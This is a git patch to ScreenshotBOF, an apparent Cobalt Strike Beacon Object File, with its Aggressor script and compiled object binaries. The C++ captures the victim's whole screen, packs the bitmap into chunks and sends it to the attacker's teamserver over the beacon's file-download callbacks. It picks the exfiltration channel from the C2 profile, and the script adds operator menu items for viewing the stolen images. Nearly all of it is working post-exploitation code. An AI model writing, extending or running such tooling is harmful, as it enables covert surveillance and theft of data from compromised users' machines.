From 1c4b3d84cc21bd8543a7944fa8ac9b303741b7de Mon Sep 17 00:00:00 2001 From: BinaryFaultline Date: Fri, 28 Oct 2022 16:27:48 -0500 Subject: [PATCH] Added a check around the profile to choose where to save it to. If URI param, saves to screenshots, otherwise saves to downloads. Also, added an item to the right-click menu in downloads to render the image as a BMP --- ScreenshotBOF/Source.cpp | 167 ++++++++++++++++++++++++++++++++-- bin/BOF/ScreenshotBOF.x64.obj | Bin 6234 -> 9044 bytes bin/BOF/ScreenshotBOF.x86.obj | Bin 4761 -> 7004 bytes bin/BOF/screenshotBOF.cna | 80 +++++++++++++++- 4 files changed, 236 insertions(+), 11 deletions(-) diff --git a/ScreenshotBOF/Source.cpp b/ScreenshotBOF/Source.cpp index 4615606..f42928a 100644 --- a/ScreenshotBOF/Source.cpp +++ b/ScreenshotBOF/Source.cpp @@ -6,7 +6,7 @@ #pragma comment(lib, "Gdi32.lib") /*Download Screenshot*/ -void downloadScreenshot(unsigned char* jpg, int jpgLen, int session, char* windowTitle, int titleLen, char* username, int usernameLen) { +void downloadScreenshot(char* jpg, int jpgLen, int session, char* windowTitle, int titleLen, char* username, int usernameLen) { // Function modified by @BinaryFaultline // This data helped me figure out the C code to download a screenshot. It was found in the BOF.NET code here: https://github.com/CCob/BOF.NET/blob/2da573a4a2a760b00e66cd051043aebb2cfd3182/managed/BOFNET/BeaconObject.cs @@ -79,6 +79,137 @@ void downloadScreenshot(unsigned char* jpg, int jpgLen, int session, char* windo return; } +void downloadFile(char* fileName, int downloadFileNameLength, char* returnData, int fileSize) { + + //Intializes random number generator to create fileId + time_t t; + MSVCRT$srand((unsigned)MSVCRT$time(&t)); + int fileId = MSVCRT$rand(); + + //8 bytes for fileId and fileSize + int messageLength = downloadFileNameLength + 8; + char* packedData = (char*)MSVCRT$malloc(messageLength); + + //pack on fileId as 4-byte int first + packedData[0] = (fileId >> 24) & 0xFF; + packedData[1] = (fileId >> 16) & 0xFF; + packedData[2] = (fileId >> 8) & 0xFF; + packedData[3] = fileId & 0xFF; + + //pack on fileSize as 4-byte int second + packedData[4] = (fileSize >> 24) & 0xFF; + packedData[5] = (fileSize >> 16) & 0xFF; + packedData[6] = (fileSize >> 8) & 0xFF; + packedData[7] = fileSize & 0xFF; + + int packedIndex = 8; + + //pack on the file name last + for (int i = 0; i < downloadFileNameLength; i++) { + packedData[packedIndex] = fileName[i]; + packedIndex++; + } + + BeaconOutput(CALLBACK_FILE, packedData, messageLength); + + if (fileSize > (1024 * 900)) { + + //Lets see how many times this constant goes into our file size, then add one (because if it doesn't go in at all, we still have one chunk) + int numOfChunks = (fileSize / (1024 * 900)) + 1; + int index = 0; + int chunkSize = 1024 * 900; + + while (index < fileSize) { + if (fileSize - index > chunkSize) {//We have plenty of room, grab the chunk and move on + + /*First 4 are the fileId + then account for length of file + then a byte for the good-measure null byte to be included + then lastly is the 4-byte int of the fileSize*/ + int chunkLength = 4 + chunkSize; + char* packedChunk = (char*)MSVCRT$malloc(chunkLength); + + //pack on fileId as 4-byte int first + packedChunk[0] = (fileId >> 24) & 0xFF; + packedChunk[1] = (fileId >> 16) & 0xFF; + packedChunk[2] = (fileId >> 8) & 0xFF; + packedChunk[3] = fileId & 0xFF; + + int chunkIndex = 4; + + //pack on the file name last + for (int i = index; i < index + chunkSize; i++) { + packedChunk[chunkIndex] = returnData[i]; + chunkIndex++; + } + + BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength); + + } + else {//This chunk is smaller than the chunkSize, so we have to be careful with our measurements + + int lastChunkLength = fileSize - index + 4; + char* lastChunk = (char*)MSVCRT$malloc(lastChunkLength); + + //pack on fileId as 4-byte int first + lastChunk[0] = (fileId >> 24) & 0xFF; + lastChunk[1] = (fileId >> 16) & 0xFF; + lastChunk[2] = (fileId >> 8) & 0xFF; + lastChunk[3] = fileId & 0xFF; + int lastChunkIndex = 4; + + //pack on the file name last + for (int i = index; i < fileSize; i++) { + lastChunk[lastChunkIndex] = returnData[i]; + lastChunkIndex++; + } + BeaconOutput(CALLBACK_FILE_WRITE, lastChunk, lastChunkLength); + } + + index = index + chunkSize; + + } + + } + else { + + /*first 4 are the fileId + then account for length of file + then a byte for the good-measure null byte to be included + then lastly is the 4-byte int of the fileSize*/ + int chunkLength = 4 + fileSize; + char* packedChunk = (char*)MSVCRT$malloc(chunkLength); + + //pack on fileId as 4-byte int first + packedChunk[0] = (fileId >> 24) & 0xFF; + packedChunk[1] = (fileId >> 16) & 0xFF; + packedChunk[2] = (fileId >> 8) & 0xFF; + packedChunk[3] = fileId & 0xFF; + int chunkIndex = 4; + + //pack on the file name last + for (int i = 0; i < fileSize; i++) { + packedChunk[chunkIndex] = returnData[i]; + chunkIndex++; + } + + BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength); + } + + + //We need to tell the teamserver that we are done writing to this fileId + char packedClose[4]; + + //pack on fileId as 4-byte int first + packedClose[0] = (fileId >> 24) & 0xFF; + packedClose[1] = (fileId >> 16) & 0xFF; + packedClose[2] = (fileId >> 8) & 0xFF; + packedClose[3] = fileId & 0xFF; + BeaconOutput(CALLBACK_FILE_CLOSE, packedClose, 4); + + return; +} + #pragma region error_handling #define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr) BOOL _print_error(char* func, int line, char* msg, HRESULT hr) { @@ -93,7 +224,7 @@ BOOL _print_error(char* func, int line, char* msg, HRESULT hr) { #pragma endregion -BOOL SaveHBITMAPToFile(HBITMAP hBitmap) +BOOL SaveHBITMAPToFile(HBITMAP hBitmap, int getOnlyProfile) { HDC hDC; int iBits; @@ -118,7 +249,7 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap) GetObject(hBitmap, sizeof(Bitmap0), (LPSTR)&Bitmap0); bi.biSize = sizeof(BITMAPINFOHEADER); bi.biWidth = Bitmap0.bmWidth; - bi.biHeight = Bitmap0.bmHeight; + bi.biHeight = -Bitmap0.bmHeight; bi.biPlanes = 1; bi.biBitCount = wBitCount; bi.biCompression = BI_RGB; @@ -163,9 +294,10 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap) bmfHdr.bfReserved1 = 0; bmfHdr.bfReserved2 = 0; bmfHdr.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER) + (DWORD)sizeof(BITMAPINFOHEADER) + dwPaletteSize; - unsigned char* bmpdata = (unsigned char*)malloc(sizeof(BITMAPFILEHEADER) + dwDIBSize); + void* bmpdata = malloc(sizeof(BITMAPFILEHEADER) + dwDIBSize); memcpy(bmpdata, &bmfHdr, sizeof(BITMAPFILEHEADER)); - memcpy(((unsigned char*)bmpdata) + sizeof(BITMAPFILEHEADER), lpbi, dwDIBSize); + memcpy(((char*)bmpdata) + sizeof(BITMAPFILEHEADER), lpbi, dwDIBSize); + // The CALLBACK_SCREENSHOT takes sessionId, title (window title in default CS screenshot fork&run), username, so we need to populate those // Since the original author didn't do any window enumeration, I am not going through the effort of doing that enumeration, instead it's hardcoded @@ -173,12 +305,24 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap) KERNEL32$ProcessIdToSessionId(KERNEL32$GetCurrentProcessId(), &session); char* user; user = (char*)getenv("USERNAME"); - char title[] = "Right-click and \"Render BMP\" to view"; + char title[] = "Right-click this and \"Render BMP\" to view"; + char fileName[] = "ScreenshotBOF - Downloaded BMP.bmp"; int userLength = MSVCRT$_snprintf(NULL,0,"%s",user); int titleLength = MSVCRT$_snprintf(NULL,0,"%s",title); + int fileNameLength = MSVCRT$_snprintf(NULL,0,"%s",fileName); - downloadScreenshot(bmpdata, sizeof(BITMAPFILEHEADER) + dwDIBSize, session,(char*)title, titleLength, (char*)user, userLength); + + // If the profile is get-only (termination in post client is URI based), download it as a screenshot, otherwise, download it as a file + + if (getOnlyProfile > 0){ + BeaconPrintf(0x0, "[+] URI post profile detected. Saving bitmap screenshot to Screenshots tab. Note, this takes a little while..."); + downloadScreenshot((char *)bmpdata, sizeof(BITMAPFILEHEADER) + dwDIBSize, session,(char*)title, titleLength, (char*)user, userLength); + } else { + BeaconPrintf(0x0, "[+] Post body profile detected. Saving bitmap screenshot to Downloads tab..."); + downloadFile((char*)fileName, fileNameLength, (char *)bmpdata, sizeof(BITMAPFILEHEADER) + dwDIBSize); + } + //downloadScreenshot((char *)bmp_bmp, bmp_bmp_len, session,(char*)title, titleLength, (char*)user, userLength); //WriteFile(fh, (LPSTR)bmpdata, sizeof(BITMAPFILEHEADER)+ dwDIBSize, &dwWritten, NULL); /* clean up */ @@ -191,6 +335,9 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap) #ifdef BOF void go(char* buff, int len) { datap parser; + int getOnlyProfile; + BeaconDataParse(&parser, buff, len); + getOnlyProfile = BeaconDataInt(&parser); int x1, y1, x2, y2, w, h; // get screen dimensions x1 = GetSystemMetrics(SM_XVIRTUALSCREEN); @@ -217,9 +364,9 @@ void go(char* buff, int len) { CloseClipboard(); */ - BeaconPrintf(0x0, "[+] Saving bitmap screenshot to Screenshots tab..."); - SaveHBITMAPToFile(hBitmap); - + + SaveHBITMAPToFile(hBitmap, getOnlyProfile); + BeaconPrintf(0x0, "[+] Screenshot downloaded..."); // clean up SelectObject(hDC, old_obj); DeleteDC(hDC); diff --git a/bin/BOF/ScreenshotBOF.x64.obj b/bin/BOF/ScreenshotBOF.x64.obj index 9efaead50a5a036e4a69e77631af8698eb768e9f..f9c60124f810224b8f4f2273c0ab7c15a2c27263 100755 GIT binary patch literal 9044 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 literal 6234 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 literal 4761 zcmd5=ZERat89uJl%x%-gMFC7(=p`g0C983hD*d9Go%kei@m(A{ckLL(IQC6y*Rdn} zCTl@aR+&n1PpyG8q;6tTB~}3%0BBh}GXs1YvP+(ySQnp&iVgbC$Qh3if z_xkG=@t3Rk+~+*+$9dm#-h1vnaT_+HADw(Lcxf9#orqu7P(ltWld{@HSpdsgN4sw| zBWp+=o)~TMY1CB!Zy2;5zuS?y+nNXklt7t(1>o^bJeH1 zz0elU(D(%8`Mx!H=4`U-pr(e}01ZR@Ro7O~6@+g(aj!#i54m04N1G=m!XaxkJly0XD+?dla>KG8AM(|@$t-{T$f`-YsZ0l&*P;6LedV!zLWdtALP?DZYD)p(MUa-y^2 z2}AUS!cXKOtR8Ww#>;@)`J6+H3?^hbmOK+zsJ^e%OA1P0*lM*RiR4nbXCm&6&r?TfoQsGW%txNn z;7VjbgUbZ3wBuYFuM%;&UCgJ&wFuIL1tJx^TBk_xnumz1gO%hu!RtU42Q{swGXh#b zM9O;!&Vi%=>T7^kJrNW^m70rZXo%WisW}so*1c<#OU>00yj0?i{)=2*h0jH%#fjhU?Jn)R0mnnFt{DKPvZi?4Xqn6*lqf>o_z?R6=v#o z5~(5k*mU6|D!D}^*%c;fGBAm`Lh^8hny3Oxh2ZRcBZN8AWSYmtI&d+M*P%s^wm`tC ztRXF~L#D^1hN<14X2eAznvCN5rJXZof{UrUhBPidS|ptbGBe& zA;Y*vu{h&^n9SM7YE0bMjAs*AWGJpFp!3zi^V`h zK^My=u&j;6$Q;+PSaMn{ITlNfh`D2;P>yAf5$ANV(4sC3MvPiAb5IA58>`Y0S~KlH)J<=@O>1r>Efyc`0>U)C z?T(2NF!Nh(Ss28{OlEvzV`DI4A(BabEavg$Hjt8w3P{rU$0T!(0`b*5^f?$wOIJpq zK4GNS=kd>gft0TD+nfCMOMbh-Z?g!@8hxjQ6qyBd}}$ zyaKxg>_Qp0xot4gtxd!dk(Nq(PwqCn%TQ+GGMUPKdM(nZDJ`a^7Ln4X?Fe-G5W$OV zMKzt(@{Ca--IVe~%4M8e+dMqSLEvE;%JZI@T1Cp!5vak+-L5QW1*7glce+J3J8wY> z;2AcZuCzqA#Wa4q^AE5NcRJsP$@@K_4@g%Uzsq)k9qO90y=XbIBO|>9<1ef0o|&fQ=%ou=O#60 zPUHKTi&R4`>uT8?5${734C9!b!CfuRVrUu5Wq(9#O7N7tbJ5<|a%b_YW@q20+) z7Frwpn$Y{uatr$PwhMmsh=#nIp?^TThamxqbss~=jR<{?p%5SwLs3B7^G!f>ZtKzS z0DYOEKLYv+LrW#J28fS#2p-41OgaZhVCW&BuQK#8pk{_11LB!)-;B`L7`F>h3q#$2 zS{XW3k`9-oF+e<{SwK9Gdw|-Q#h*&(?|`0R+&=;BXXr5?x;pTo34e4Y>d|&U^kcFf z?FH1p&^|!lVCWd2?F``(mjGl1t_e*8dYVbofWFSqw@$zPix1Xsw%_>V(i^|}b$a%C z!QHri?+G9G1F-JOW zw5F<}-p<1TnR1MQ*`)-M;JPSZ^K!o%(Ku-X>ZwzMOre0L0T{K%> z@nyz88rM3g4l0oA(CD;_GosdoJ71|8>Xi(8Xpcs9nok!ST?MYy5qsKwbM!$ zLjnHDq4K%%1R#Ayt{9dl;*|r@@DF57T$3hE#sw3aw0D#yrzRjN2H{qOR3q+%V{JKJ z(f2(3)1hTd9t)12*VacP12pj((w~ftSJkAdJPK $MAX_IMAGE_WIDTH) { + $width = $MAX_IMAGE_WIDTH; + } + if ($height > $MAX_IMAGE_HEIGHT) { + $height = $MAX_IMAGE_HEIGHT; + } + $scaledIcon = [new ImageIcon: [$image getScaledInstance: $width, $height, 4]]; + + $component = [new JLabel: $scaledIcon]; + $tab_name = "ScreenshotBOF - $file_name"; + addTab($tab_name, $component, "..."); + +} + # Checks the screenshot when it comes in to see if it is a BMP, then if so, renders it in a new tab on screenshots { local('$screenshot $data'); @@ -51,6 +83,45 @@ on screenshots { } } +popup_clear("downloads"); +popup downloads { + # do nothing if nothing is selected + if (size($1) == 0) { + return; + } + + item "Interact" { + openOrActivate($1[0]["bid"]); + } + + menu "&Color" { + local('$ids'); + $ids = map({ return $1["id"]; }, $1); + insert_component(colorPanel("accents", $ids)); + } + + item "Render &BMP" { + local('$download $lpath $name $count'); + foreach $count => $download ($1) { + ($lpath, $name) = values($download, @("lpath", "name")); + + sync_download($lpath, script_resource("file $+ .$count"), lambda({ + $handle = openf($1); + $data = readb($handle, -1); + closef($handle); + #println(charAt($data, 0)); + #println(charAt($data, 1)); + if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") { + display_downloaded($data, $1); + } else { + show_error("File is not a Bitmap image"); + } + deleteFile($1); + }, \$name)); + } + } +} + popup_clear("screenshots"); popup screenshots { item "&Interact" { @@ -107,8 +178,15 @@ alias screenshot_bof { $data = readb($handle, -1); closef($handle); + # figure out if the profile chooses to chunk the post or not (getOnlyProfile) + $profile = data_query("metadata")["c2profile"]; + $getOnlyProfile = [$profile shouldChunkPosts]; + println($getOnlyProfile); + + $args = bof_pack($bid, "i", $getOnlyProfile); + # announce what we're doing btask($bid, "Running screenshot BOF by (@codex_tf2)", "T1113"); # execute it. - beacon_inline_execute($bid, $data, "go"); + beacon_inline_execute($bid, $data, "go", $args); }